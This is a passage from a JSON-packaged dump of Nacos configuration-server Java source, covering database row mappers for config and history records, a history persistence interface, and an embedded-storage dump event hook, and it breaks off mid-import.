com.alibaba.nacos.config.server.model.ConfigInfoTagWrapper;\nimport com.alibaba.nacos.config.server.model.ConfigInfoWrapper;\nimport com.alibaba.nacos.config.server.model.ConfigKey;\nimport com.alibaba.nacos.common.utils.StringUtils;\nimport com.alibaba.nacos.persistence.repository.RowMapperManager;\nimport org.springframework.jdbc.core.RowMapper;\nimport org.springframework.stereotype.Component;\n\nimport java.sql.ResultSet;\nimport java.sql.SQLException;\n\n/**\n * Config row mapper injector.\n *\n * @author xiweng.yy\n */\n@Component\npublic class ConfigRowMapperInjector {\n    \n    public static final RowMapper<ConfigInfoWrapper> CONFIG_INFO_WRAPPER_ROW_MAPPER = new ConfigInfoWrapperRowMapper();\n    \n    public static final ConfigInfoStateWrapperRowMapper CONFIG_INFO_STATE_WRAPPER_ROW_MAPPER = new ConfigInfoStateWrapperRowMapper();\n    \n    public static final RowMapper<ConfigKey> CONFIG_KEY_ROW_MAPPER = new ConfigKeyRowMapper();\n    \n    public static final ConfigInfoBetaWrapperRowMapper CONFIG_INFO_BETA_WRAPPER_ROW_MAPPER = new ConfigInfoBetaWrapperRowMapper();\n    \n    public static final ConfigInfoTagWrapperRowMapper CONFIG_INFO_TAG_WRAPPER_ROW_MAPPER = new ConfigInfoTagWrapperRowMapper();\n    \n    public static final ConfigInfoGrayWrapperRowMapper CONFIG_INFO_GRAY_WRAPPER_ROW_MAPPER = new ConfigInfoGrayWrapperRowMapper();\n    \n    public static final ConfigInfoRowMapper CONFIG_INFO_ROW_MAPPER = new ConfigInfoRowMapper();\n    \n    public static final ConfigAdvanceInfoRowMapper CONFIG_ADVANCE_INFO_ROW_MAPPER = new ConfigAdvanceInfoRowMapper();\n    \n    public static final ConfigAllInfoRowMapper CONFIG_ALL_INFO_ROW_MAPPER = new ConfigAllInfoRowMapper();\n    \n    public static final ConfigInfo4BetaRowMapper CONFIG_INFO4BETA_ROW_MAPPER = new ConfigInfo4BetaRowMapper();\n    \n    public static final ConfigInfo4TagRowMapper CONFIG_INFO4TAG_ROW_MAPPER = new ConfigInfo4TagRowMapper();\n    \n    public static final ConfigInfoBaseRowMapper CONFIG_INFO_BASE_ROW_MAPPER = new ConfigInfoBaseRowMapper();\n    \n    public static final ConfigInfoChangedRowMapper CONFIG_INFO_CHANGED_ROW_MAPPER = new ConfigInfoChangedRowMapper();\n    \n    public static final ConfigHistoryRowMapper HISTORY_LIST_ROW_MAPPER = new ConfigHistoryRowMapper();\n    \n    public static final ConfigHistoryDetailRowMapper HISTORY_DETAIL_ROW_MAPPER = new ConfigHistoryDetailRowMapper();\n    \n    static {\n        injectConfigRowMapper();\n    }\n    \n    public ConfigRowMapperInjector() {\n    }\n    \n    private static void injectConfigRowMapper() {\n        // CONFIG_INFO_WRAPPER_ROW_MAPPER\n        \n        RowMapperManager.registerRowMapper(\n                ConfigRowMapperInjector.CONFIG_INFO_WRAPPER_ROW_MAPPER.getClass().getCanonicalName(),\n                ConfigRowMapperInjector.CONFIG_INFO_WRAPPER_ROW_MAPPER);\n        \n        // CONFIG_INFO_STATE_WRAPPER_ROW_MAPPER\n        RowMapperManager.registerRowMapper(\n                ConfigRowMapperInjector.CONFIG_INFO_STATE_WRAPPER_ROW_MAPPER.getClass().getCanonicalName(),\n                ConfigRowMapperInjector.CONFIG_INFO_STATE_WRAPPER_ROW_MAPPER);\n        \n        // CONFIG_KEY_ROW_MAPPER\n        \n        RowMapperManager.registerRowMapper(ConfigRowMapperInjector.CONFIG_KEY_ROW_MAPPER.getClass().getCanonicalName(),\n                ConfigRowMapperInjector.CONFIG_KEY_ROW_MAPPER);\n        \n        // CONFIG_INFO_BETA_WRAPPER_ROW_MAPPER\n        \n        RowMapperManager.registerRowMapper(\n                ConfigRowMapperInjector.CONFIG_INFO_BETA_WRAPPER_ROW_MAPPER.getClass().getCanonicalName(),\n                ConfigRowMapperInjector.CONFIG_INFO_BETA_WRAPPER_ROW_MAPPER);\n        \n        // CONFIG_INFO_TAG_WRAPPER_ROW_MAPPER\n        \n        RowMapperManager.registerRowMapper(\n                ConfigRowMapperInjector.CONFIG_INFO_TAG_WRAPPER_ROW_MAPPER.getClass().getCanonicalName(),\n                ConfigRowMapperInjector.CONFIG_INFO_TAG_WRAPPER_ROW_MAPPER);\n        \n        // CONFIG_INFO_ROW_MAPPER\n        \n        RowMapperManager.registerRowMapper(ConfigRowMapperInjector.CONFIG_INFO_ROW_MAPPER.getClass().getCanonicalName(),\n                ConfigRowMapperInjector.CONFIG_INFO_ROW_MAPPER);\n        \n        // CONFIG_ADVANCE_INFO_ROW_MAPPER\n        \n        RowMapperManager.registerRowMapper(\n                ConfigRowMapperInjector.CONFIG_ADVANCE_INFO_ROW_MAPPER.getClass().getCanonicalName(),\n                ConfigRowMapperInjector.CONFIG_ADVANCE_INFO_ROW_MAPPER);\n        \n        // CONFIG_ALL_INFO_ROW_MAPPER\n        \n        RowMapperManager.registerRowMapper(\n                ConfigRowMapperInjector.CONFIG_ALL_INFO_ROW_MAPPER.getClass().getCanonicalName(),\n                ConfigRowMapperInjector.CONFIG_ALL_INFO_ROW_MAPPER);\n        \n        // CONFIG_INFO4BETA_ROW_MAPPER\n        \n        RowMapperManager.registerRowMapper(\n                ConfigRowMapperInjector.CONFIG_INFO4BETA_ROW_MAPPER.getClass().getCanonicalName(),\n                ConfigRowMapperInjector.CONFIG_INFO4BETA_ROW_MAPPER);\n        \n        // CONFIG_INFO4TAG_ROW_MAPPER\n        \n        RowMapperManager.registerRowMapper(\n                ConfigRowMapperInjector.CONFIG_INFO4TAG_ROW_MAPPER.getClass().getCanonicalName(),\n                ConfigRowMapperInjector.CONFIG_INFO4TAG_ROW_MAPPER);\n        \n        // CONFIG_INFO_BASE_ROW_MAPPER\n        \n        RowMapperManager.registerRowMapper(\n                ConfigRowMapperInjector.CONFIG_INFO_BASE_ROW_MAPPER.getClass().getCanonicalName(),\n                ConfigRowMapperInjector.CONFIG_INFO_BASE_ROW_MAPPER);\n        \n        // CONFIG_INFO_CHANGED_ROW_MAPPER\n        \n        RowMapperManager.registerRowMapper(\n                ConfigRowMapperInjector.CONFIG_INFO_CHANGED_ROW_MAPPER.getClass().getCanonicalName(),\n                ConfigRowMapperInjector.CONFIG_INFO_CHANGED_ROW_MAPPER);\n        \n        // HISTORY_LIST_ROW_MAPPER\n        \n        RowMapperManager.registerRowMapper(\n                ConfigRowMapperInjector.HISTORY_LIST_ROW_MAPPER.getClass().getCanonicalName(),\n                ConfigRowMapperInjector.HISTORY_LIST_ROW_MAPPER);\n        \n        // HISTORY_DETAIL_ROW_MAPPER\n        \n        RowMapperManager.registerRowMapper(\n                ConfigRowMapperInjector.HISTORY_DETAIL_ROW_MAPPER.getClass().getCanonicalName(),\n                ConfigRowMapperInjector.HISTORY_DETAIL_ROW_MAPPER);\n\n        // CONFIG_INFO_GRAY_WRAPPER_ROW_MAPPER\n\n        RowMapperManager.registerRowMapper(\n                ConfigRowMapperInjector.CONFIG_INFO_GRAY_WRAPPER_ROW_MAPPER.getClass().getCanonicalName(),\n                ConfigRowMapperInjector.CONFIG_INFO_GRAY_WRAPPER_ROW_MAPPER);\n    }\n    \n    public static final class ConfigInfoWrapperRowMapper implements RowMapper<ConfigInfoWrapper> {\n        \n        @Override\n        public ConfigInfoWrapper mapRow(ResultSet rs, int rowNum) throws SQLException {\n            ConfigInfoWrapper info = new ConfigInfoWrapper();\n            \n            info.setDataId(rs.getString(\"data_id\"));\n            info.setGroup(rs.getString(\"group_id\"));\n            info.setTenant(rs.getString(\"tenant_id\"));\n            info.setAppName(rs.getString(\"app_name\"));\n            \n            try {\n                info.setType(rs.getString(\"type\"));\n            } catch (SQLException ignore) {\n            }\n            \n            try {\n                info.setContent(rs.getString(\"content\"));\n            } catch (SQLException ignore) {\n            }\n            try {\n                info.setId(rs.getLong(\"id\"));\n            } catch (SQLException ignore) {\n            }\n            try {\n                info.setLastModified(rs.getTimestamp(\"gmt_modified\").getTime());\n            } catch (SQLException ignore) {\n            }\n            try {\n                info.setMd5(rs.getString(\"md5\"));\n            } catch (SQLException ignore) {\n            }\n            try {\n                info.setEncryptedDataKey(rs.getString(\"encrypted_data_key\"));\n            } catch (SQLException ignore) {\n            \n            }\n            return info;\n        }\n    }\n    \n    public static final class ConfigInfoStateWrapperRowMapper implements RowMapper<ConfigInfoStateWrapper> {\n        \n        @Override\n        public ConfigInfoStateWrapper mapRow(ResultSet rs, int rowNum) throws SQLException {\n            ConfigInfoStateWrapper info = new ConfigInfoStateWrapper();\n            \n            info.setDataId(rs.getString(\"data_id\"));\n            info.setGroup(rs.getString(\"group_id\"));\n            info.setTenant(rs.getString(\"tenant_id\"));\n            info.setLastModified(rs.getTimestamp(\"gmt_modified\").getTime());\n            try {\n                info.setMd5(rs.getString(\"md5\"));\n            } catch (SQLException e) {\n                // ignore\n            }\n            try {\n                info.setId(rs.getLong(\"id\"));\n            } catch (SQLException e) {\n                // ignore\n            }\n            \n            return info;\n        }\n    }\n    \n    public static final class ConfigInfoBetaWrapperRowMapper implements RowMapper<ConfigInfoBetaWrapper> {\n        \n        @Override\n        public ConfigInfoBetaWrapper mapRow(ResultSet rs, int rowNum) throws SQLException {\n            ConfigInfoBetaWrapper info = new ConfigInfoBetaWrapper();\n            \n            info.setDataId(rs.getString(\"data_id\"));\n            info.setGroup(rs.getString(\"group_id\"));\n            info.setTenant(rs.getString(\"tenant_id\"));\n            info.setAppName(rs.getString(\"app_name\"));\n            info.setBetaIps(rs.getString(\"beta_ips\"));\n            \n            try {\n                info.setContent(rs.getString(\"content\"));\n            } catch (SQLException ignore) {\n            }\n            try {\n                info.setId(rs.getLong(\"id\"));\n            } catch (SQLException ignore) {\n            }\n            try {\n                info.setLastModified(rs.getTimestamp(\"gmt_modified\").getTime());\n            } catch (SQLException ignore) {\n            }\n            try {\n                info.setMd5(rs.getString(\"md5\"));\n            } catch (SQLException ignore) {\n            }\n            try {\n                info.setEncryptedDataKey(rs.getString(\"encrypted_data_key\"));\n            } catch (SQLException ignore) {\n            }\n            return info;\n        }\n    }\n    \n    public static final class ConfigInfoTagWrapperRowMapper implements RowMapper<ConfigInfoTagWrapper> {\n        \n        @Override\n        public ConfigInfoTagWrapper mapRow(ResultSet rs, int rowNum) throws SQLException {\n            ConfigInfoTagWrapper info = new ConfigInfoTagWrapper();\n            \n            info.setDataId(rs.getString(\"data_id\"));\n            info.setGroup(rs.getString(\"group_id\"));\n            info.setTenant(rs.getString(\"tenant_id\"));\n            info.setTag(rs.getString(\"tag_id\"));\n            info.setAppName(rs.getString(\"app_name\"));\n            \n            try {\n                info.setContent(rs.getString(\"content\"));\n            } catch (SQLException ignore) {\n            }\n            try {\n                info.setId(rs.getLong(\"id\"));\n            } catch (SQLException ignore) {\n            }\n            try {\n                info.setLastModified(rs.getTimestamp(\"gmt_modified\").getTime());\n            } catch (SQLException ignore) {\n            }\n            try {\n                info.setMd5(rs.getString(\"md5\"));\n            } catch (SQLException ignore) {\n            }\n            return info;\n        }\n    }\n    \n    public static final class ConfigInfoGrayWrapperRowMapper implements RowMapper<ConfigInfoGrayWrapper> {\n        \n        @Override\n        public ConfigInfoGrayWrapper mapRow(ResultSet rs, int rowNum) throws SQLException {\n            ConfigInfoGrayWrapper info = new ConfigInfoGrayWrapper();\n            \n            info.setDataId(rs.getString(\"data_id\"));\n            info.setGroup(rs.getString(\"group_id\"));\n            info.setTenant(rs.getString(\"tenant_id\"));\n            info.setGrayName(rs.getString(\"gray_name\"));\n            try {\n                info.setGrayRule(rs.getString(\"gray_rule\"));\n            } catch (SQLException ignore) {\n            }\n            try {\n                info.setAppName(rs.getString(\"app_name\"));\n            } catch (SQLException ignore) {\n            }\n            try {\n                info.setContent(rs.getString(\"content\"));\n            } catch (SQLException ignore) {\n            }\n            try {\n                info.setId(rs.getLong(\"id\"));\n            } catch (SQLException ignore) {\n            }\n            try {\n                info.setLastModified(rs.getTimestamp(\"gmt_modified\").getTime());\n            } catch (SQLException ignore) {\n            }\n            try {\n                info.setMd5(rs.getString(\"md5\"));\n            } catch (SQLException ignore) {\n            }\n            try {\n                info.setEncryptedDataKey(rs.getString(\"encrypted_data_key\"));\n            } catch (SQLException ignore) {\n            }\n    \n            try {\n                info.setSrcUser(rs.getString(\"src_user\"));\n            } catch (SQLException ignore) {\n            }\n            return info;\n        }\n    }\n    \n    public static final class ConfigInfoRowMapper implements RowMapper<ConfigInfo> {\n        \n        @Override\n        public ConfigInfo mapRow(ResultSet rs, int rowNum) throws SQLException {\n            ConfigInfo info = new ConfigInfo();\n            \n            info.setDataId(rs.getString(\"data_id\"));\n            info.setGroup(rs.getString(\"group_id\"));\n            info.setTenant(rs.getString(\"tenant_id\"));\n            \n            try {\n                info.setAppName(rs.getString(\"app_name\"));\n            } catch (SQLException ignore) {\n            }\n            try {\n                info.setContent(rs.getString(\"content\"));\n            } catch (SQLException ignore) {\n            }\n            try {\n                info.setMd5(rs.getString(\"md5\"));\n            } catch (SQLException ignore) {\n            }\n            try {\n                info.setId(rs.getLong(\"id\"));\n            } catch (SQLException ignore) {\n            }\n            try {\n                info.setType(rs.getString(\"type\"));\n            } catch (SQLException ignore) {\n            }\n            try {\n                info.setEncryptedDataKey(rs.getString(\"encrypted_data_key\"));\n            } catch (SQLException ignore) {\n            }\n            \n            // 新增字段映射\n            try {\n                info.setDesc(rs.getString(\"c_desc\"));\n            } catch (SQLException ignore) {\n                // 字段不存在时设置为 null，保证向后兼容\n            }\n            try {\n                String configTags = rs.getString(\"config_tags\");\n                // 处理 GROUP_CONCAT/LISTAGG 的结果，可能为 null\n                info.setConfigTags(StringUtils.isBlank(configTags) ? null : configTags);\n            } catch (SQLException ignore) {\n                // 字段不存在时设置为 null，保证向后兼容\n            }\n            try {\n                java.sql.Timestamp gmtModified = rs.getTimestamp(\"gmt_modified\");\n                if (gmtModified != null) {\n                    info.setGmtModified(gmtModified.getTime());\n                }\n            } catch (SQLException ignore) {\n                // 字段不存在时设置为 null，保证向后兼容\n            }\n            \n            return info;\n        }\n    }\n    \n    public static final class ConfigKeyRowMapper implements RowMapper<ConfigKey> {\n        \n        @Override\n        public ConfigKey mapRow(ResultSet rs, int rowNum) throws SQLException {\n            ConfigKey info = new ConfigKey();\n            \n            info.setDataId(rs.getString(\"data_id\"));\n            info.setGroup(rs.getString(\"group_id\"));\n            info.setAppName(rs.getString(\"app_name\"));\n            \n            return info;\n        }\n    }\n    \n    public static final class ConfigAdvanceInfoRowMapper implements RowMapper<ConfigAdvanceInfo> {\n        \n        @Override\n        public ConfigAdvanceInfo mapRow(ResultSet rs, int rowNum) throws SQLException {\n            ConfigAdvanceInfo info = new ConfigAdvanceInfo();\n            info.setCreateTime(rs.getTimestamp(\"gmt_create\").getTime());\n            info.setModifyTime(rs.getTimestamp(\"gmt_modified\").getTime());\n            info.setCreateUser(rs.getString(\"src_user\"));\n            info.setCreateIp(rs.getString(\"src_ip\"));\n            info.setDesc(rs.getString(\"c_desc\"));\n            info.setUse(rs.getString(\"c_use\"));\n            info.setEffect(rs.getString(\"effect\"));\n            info.setType(rs.getString(\"type\"));\n            info.setSchema(rs.getString(\"c_schema\"));\n            return info;\n        }\n    }\n    \n    public static final class ConfigAllInfoRowMapper implements RowMapper<ConfigAllInfo> {\n        \n        @Override\n        public ConfigAllInfo mapRow(ResultSet rs, int rowNum) throws SQLException {\n            ConfigAllInfo info = new ConfigAllInfo();\n            info.setDataId(rs.getString(\"data_id\"));\n            info.setGroup(rs.getString(\"group_id\"));\n            info.setTenant(rs.getString(\"tenant_id\"));\n            info.setAppName(rs.getString(\"app_name\"));\n            try {\n                info.setContent(rs.getString(\"content\"));\n            } catch (SQLException ignore) {\n            }\n            try {\n                info.setMd5(rs.getString(\"md5\"));\n            } catch (SQLException ignore) {\n            }\n            try {\n                info.setId(rs.getLong(\"id\"));\n            } catch (SQLException ignore) {\n            }\n            info.setCreateTime(rs.getTimestamp(\"gmt_create\").getTime());\n            info.setModifyTime(rs.getTimestamp(\"gmt_modified\").getTime());\n            info.setCreateUser(rs.getString(\"src_user\"));\n            info.setCreateIp(rs.getString(\"src_ip\"));\n            info.setDesc(rs.getString(\"c_desc\"));\n            info.setUse(rs.getString(\"c_use\"));\n            info.setEffect(rs.getString(\"effect\"));\n            info.setType(rs.getString(\"type\"));\n            info.setSchema(rs.getString(\"c_schema\"));\n            try {\n                info.setEncryptedDataKey(rs.getString(\"encrypted_data_key\"));\n            } catch (SQLException ignore) {\n            \n            }\n            return info;\n        }\n    }\n    \n    public static final class ConfigInfo4BetaRowMapper implements RowMapper<ConfigInfo4Beta> {\n        \n        @Override\n        public ConfigInfo4Beta mapRow(ResultSet rs, int rowNum) throws SQLException {\n            ConfigInfo4Beta info = new ConfigInfo4Beta();\n            \n            info.setDataId(rs.getString(\"data_id\"));\n            info.setGroup(rs.getString(\"group_id\"));\n            info.setTenant(rs.getString(\"tenant_id\"));\n            info.setAppName(rs.getString(\"app_name\"));\n            info.setBetaIps(rs.getString(\"beta_ips\"));\n            \n            try {\n                info.setContent(rs.getString(\"content\"));\n            } catch (SQLException ignore) {\n            }\n            try {\n                info.setId(rs.getLong(\"id\"));\n            } catch (SQLException ignore) {\n            }\n            try {\n                info.setMd5(rs.getString(\"md5\"));\n            } catch (SQLException ignore) {\n            }\n            return info;\n        }\n    }\n    \n    public static final class ConfigInfo4TagRowMapper implements RowMapper<ConfigInfo4Tag> {\n        \n        @Override\n        public ConfigInfo4Tag mapRow(ResultSet rs, int rowNum) throws SQLException {\n            ConfigInfo4Tag info = new ConfigInfo4Tag();\n            \n            info.setDataId(rs.getString(\"data_id\"));\n            info.setGroup(rs.getString(\"group_id\"));\n            info.setTenant(rs.getString(\"tenant_id\"));\n            info.setTag(rs.getString(\"tag_id\"));\n            info.setAppName(rs.getString(\"app_name\"));\n            \n            try {\n                info.setContent(rs.getString(\"content\"));\n            } catch (SQLException ignore) {\n            }\n            try {\n                info.setId(rs.getLong(\"id\"));\n            } catch (SQLException ignore) {\n            }\n            try {\n                info.setMd5(rs.getString(\"md5\"));\n            } catch (SQLException ignore) {\n            }\n            return info;\n        }\n    }\n    \n    public static final class ConfigInfoBaseRowMapper implements RowMapper<ConfigInfoBase> {\n        \n        @Override\n        public ConfigInfoBase mapRow(ResultSet rs, int rowNum) throws SQLException {\n            ConfigInfoBase info = new ConfigInfoBase();\n            \n            info.setDataId(rs.getString(\"data_id\"));\n            info.setGroup(rs.getString(\"group_id\"));\n            \n            try {\n                info.setContent(rs.getString(\"content\"));\n            } catch (SQLException ignore) {\n            }\n            try {\n                info.setId(rs.getLong(\"id\"));\n            } catch (SQLException ignore) {\n            }\n            return info;\n        }\n    }\n    \n    public static final class ConfigInfoChangedRowMapper implements RowMapper<ConfigInfoChanged> {\n        \n        @Override\n        public ConfigInfoChanged mapRow(ResultSet rs, int rowNum) throws SQLException {\n            ConfigInfoChanged info = new ConfigInfoChanged();\n            info.setDataId(rs.getString(\"data_id\"));\n            info.setGroup(rs.getString(\"group_id\"));\n            info.setTenant(rs.getString(\"tenant_id\"));\n            return info;\n        }\n    }\n    \n    public static final class ConfigHistoryRowMapper implements RowMapper<ConfigHistoryInfo> {\n        \n        @Override\n        public ConfigHistoryInfo mapRow(ResultSet rs, int rowNum) throws SQLException {\n            ConfigHistoryInfo configHistoryInfo = new ConfigHistoryInfo();\n            configHistoryInfo.setId(rs.getLong(\"nid\"));\n            configHistoryInfo.setDataId(rs.getString(\"data_id\"));\n            configHistoryInfo.setGroup(rs.getString(\"group_id\"));\n            configHistoryInfo.setTenant(rs.getString(\"tenant_id\"));\n            configHistoryInfo.setAppName(rs.getString(\"app_name\"));\n            configHistoryInfo.setSrcIp(rs.getString(\"src_ip\"));\n            configHistoryInfo.setSrcUser(rs.getString(\"src_user\"));\n            configHistoryInfo.setOpType(rs.getString(\"op_type\"));\n            configHistoryInfo.setPublishType(rs.getString(\"publish_type\"));\n            configHistoryInfo.setGrayName(rs.getString(\"gray_name\"));\n            configHistoryInfo.setExtInfo(rs.getString(\"ext_info\"));\n            configHistoryInfo.setCreatedTime(rs.getTimestamp(\"gmt_create\"));\n            configHistoryInfo.setLastModifiedTime(rs.getTimestamp(\"gmt_modified\"));\n            return configHistoryInfo;\n        }\n    }\n    \n    public static final class ConfigHistoryDetailRowMapper implements RowMapper<ConfigHistoryInfo> {\n        \n        @Override\n        public ConfigHistoryInfo mapRow(ResultSet rs, int rowNum) throws SQLException {\n            ConfigHistoryInfo configHistoryInfo = new ConfigHistoryInfo();\n            configHistoryInfo.setId(rs.getLong(\"nid\"));\n            configHistoryInfo.setDataId(rs.getString(\"data_id\"));\n            configHistoryInfo.setGroup(rs.getString(\"group_id\"));\n            configHistoryInfo.setTenant(rs.getString(\"tenant_id\"));\n            configHistoryInfo.setAppName(rs.getString(\"app_name\"));\n            configHistoryInfo.setMd5(rs.getString(\"md5\"));\n            configHistoryInfo.setContent(rs.getString(\"content\"));\n            configHistoryInfo.setSrcUser(rs.getString(\"src_user\"));\n            configHistoryInfo.setSrcIp(rs.getString(\"src_ip\"));\n            configHistoryInfo.setOpType(rs.getString(\"op_type\"));\n            configHistoryInfo.setPublishType(rs.getString(\"publish_type\"));\n            configHistoryInfo.setGrayName(rs.getString(\"gray_name\"));\n            configHistoryInfo.setExtInfo(rs.getString(\"ext_info\"));\n            configHistoryInfo.setCreatedTime(rs.getTimestamp(\"gmt_create\"));\n            configHistoryInfo.setLastModifiedTime(rs.getTimestamp(\"gmt_modified\"));\n            try {\n                configHistoryInfo.setEncryptedDataKey(rs.getString(\"encrypted_data_key\"));\n            } catch (SQLException ignore) {\n            \n            }\n            return configHistoryInfo;\n        }\n    }\n}\n"
  },
  {
    "path": "config/src/main/java/com/alibaba/nacos/config/server/service/repository/HistoryConfigInfoPersistService.java",
    "content": "/*\n * Copyright 1999-2022 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.config.server.service.repository;\n\nimport com.alibaba.nacos.config.server.model.ConfigHistoryInfo;\nimport com.alibaba.nacos.config.server.model.ConfigInfo;\nimport com.alibaba.nacos.config.server.model.ConfigInfoStateWrapper;\nimport com.alibaba.nacos.api.model.Page;\nimport com.alibaba.nacos.persistence.repository.PaginationHelper;\n\nimport java.sql.Timestamp;\nimport java.util.List;\n\n/**\n * Database service, providing access to his_config_info in the database.\n *\n * @author lixiaoshuang\n */\npublic interface HistoryConfigInfoPersistService {\n    \n    /**\n     * create Pagination utils.\n     *\n     * @param <E> Generic object\n     * @return {@link PaginationHelper}\n     */\n    <E> PaginationHelper<E> createPaginationHelper();\n    \n    //------------------------------------------insert---------------------------------------------//\n    \n    /**\n     * Update change records; database atomic operations, minimal sql actions, no business encapsulation.\n     *\n     * @param id          id\n     * @param configInfo  config info\n     * @param srcIp       ip\n     * @param srcUser     user\n     * @param time        time\n     * @param ops         ops type\n     * @param publishType publish type\n     * @param grayName    gray name\n     * @param extInfo     extra config info\n     */\n    void insertConfigHistoryAtomic(long id, ConfigInfo configInfo, String srcIp, String srcUser, final Timestamp time,\n            String ops, String publishType, String grayName, String extInfo);\n    //------------------------------------------delete---------------------------------------------//\n    \n    /**\n     * Delete data before startTime.\n     *\n     * @param startTime start time\n     * @param limitSize limit size\n     */\n    void removeConfigHistory(final Timestamp startTime, final int limitSize);\n    //------------------------------------------update---------------------------------------------//\n    //------------------------------------------select---------------------------------------------//\n    \n    /**\n     * Query deleted config.\n     *\n     * @param startTime   start time\n     * @param startId     last max id\n     * @param size        page size\n     * @param publishType publish type\n     * @return {@link ConfigInfoStateWrapper} list\n     */\n    List<ConfigInfoStateWrapper> findDeletedConfig(final Timestamp startTime, final long startId, int size,\n            String publishType);\n    \n    /**\n     * List configuration history change record.\n     *\n     * @param dataId   data Id\n     * @param group    group\n     * @param tenant   tenant\n     * @param pageNo   no\n     * @param pageSize size\n     * @return {@link Page} with {@link ConfigHistoryInfo} generation\n     */\n    Page<ConfigHistoryInfo> findConfigHistory(String dataId, String group, String tenant, int pageNo, int pageSize);\n    \n    /**\n     * Get history config detail.\n     *\n     * @param nid nid\n     * @return {@link ConfigHistoryInfo}\n     */\n    ConfigHistoryInfo detailConfigHistory(Long nid);\n    \n    /**\n     * Get previous config detail.\n     *\n     * @param id id\n     * @return {@link ConfigHistoryInfo}\n     */\n    ConfigHistoryInfo detailPreviousConfigHistory(Long id);\n    \n    /**\n     * Get the number of configurations before the specified time.\n     *\n     * @param startTime start time\n     * @return count of history config that meet the conditions\n     */\n    @Deprecated\n    int findConfigHistoryCountByTime(final Timestamp startTime);\n\n    /**\n     * Get the next history config detail of the history config.\n     *\n     * @param dataId      data Id\n     * @param group       group\n     * @param tenant      tenant\n     * @param publishType publish type\n     * @param grayName    gray name\n     * @param startNid    start nid\n     * @return the next history config detail of the history config\n     */\n    ConfigHistoryInfo getNextHistoryInfo(String dataId, String group, String tenant, String publishType, String grayName,\n            long startNid);\n}\n"
  },
  {
    "path": "config/src/main/java/com/alibaba/nacos/config/server/service/repository/embedded/EmbeddedConfigDumpApplyHook.java",
    "content": "/*\n * Copyright 1999-2023 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.config.server.service.repository.embedded;\n\nimport com.alibaba.nacos.common.notify.NotifyCenter;\nimport com.alibaba.nacos.common.utils.JacksonUtils;\nimport com.alibaba.nacos.common.utils.StringUtils;\nimport com.alibaba.nacos.config.server.constant.Constants;\nimport com.alibaba.nacos.config.server.model.event.ConfigDumpEvent;\nimport com.alibaba.nacos.config.server.service.dump.DumpConfigHandler;\nimport com.alibaba.nacos.consistency.entity.WriteRequest;\nimport com.alibaba.nacos.core.utils.GenericType;\nimport com.alibaba.nacos.persistence.repository.embedded.hook.EmbeddedApplyHook;\nimport org.springframework.stereotype.Component;\n\nimport java.util.List;\nimport java.util.Map;\nimport java.util.Objects;\n\n/**\n * Embedded apply hook for config dump.\n *\n * @author xiweng.yy\n */\n@Component\npublic class EmbeddedConfigDumpApplyHook extends EmbeddedApplyHook {\n    \n    public EmbeddedConfigDumpApplyHook() {\n        NotifyCenter.registerToPublisher(ConfigDumpEvent.class, NotifyCenter.ringBufferSize);\n        NotifyCenter.registerSubscriber(new DumpConfigHandler());\n    }\n    \n    @Override\n    public void afterApply(WriteRequest log) {\n        handleExtendInfo(log.getExtendInfoMap());\n    }\n    \n    private void handleExtendInfo(Map<String, String> extendInfo) {\n        if (extendInfo.containsKey(Constants.EXTEND_INFO_CONFIG_DUMP_EVENT)) {\n            String jsonVal = extendInfo.get(Constants.EXTEND_INFO_CONFIG_DUMP_EVENT);\n            if (StringUtils.isNotBlank(jsonVal)) {\n                NotifyCenter.publishEvent(JacksonUtils.toObj(jsonVal, ConfigDumpEvent.class));\n            }\n            return;\n        }\n        if (extendInfo.containsKey(Constants.EXTEND_INFOS_CONFIG_DUMP_EVENT)) {\n            String jsonVal = extendInfo.get(Constants.EXTEND_INFOS_CONFIG_DUMP_EVENT);\n            if (StringUtils.isNotBlank(jsonVal)) {\n                List<ConfigDumpEvent> list = JacksonUtils.toObj(jsonVal, new GenericType<List<ConfigDumpEvent>>() {\n                }.getType());\n                list.stream().filter(Objects::nonNull).forEach(NotifyCenter::publishEvent);\n            }\n        }\n    }\n}\n"
  },
  {
    "path": "config/src/main/java/com/alibaba/nacos/config/server/service/repository/embedded/EmbeddedConfigInfoBetaPersistServiceImpl.java",
    "content": "/*\n * Copyright 1999-2022 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.config.server.service.repository.embedded;\n\nimport com.alibaba.nacos.common.notify.NotifyCenter;\nimport com.alibaba.nacos.common.utils.MD5Utils;\nimport com.alibaba.nacos.common.utils.StringUtils;\nimport com.alibaba.nacos.config.server.constant.Constants;\nimport com.alibaba.nacos.config.server.exception.NacosConfigException;\nimport com.alibaba.nacos.config.server.model.ConfigInfo;\nimport com.alibaba.nacos.config.server.model.ConfigInfoBetaWrapper;\nimport com.alibaba.nacos.config.server.model.ConfigInfoStateWrapper;\nimport com.alibaba.nacos.config.server.model.ConfigOperateResult;\nimport com.alibaba.nacos.config.server.service.repository.ConfigInfoBetaPersistService;\nimport com.alibaba.nacos.config.server.service.sql.EmbeddedStorageContextUtils;\nimport com.alibaba.nacos.persistence.configuration.condition.ConditionOnEmbeddedStorage;\nimport com.alibaba.nacos.persistence.datasource.DataSourceService;\nimport com.alibaba.nacos.persistence.datasource.DynamicDataSource;\nimport 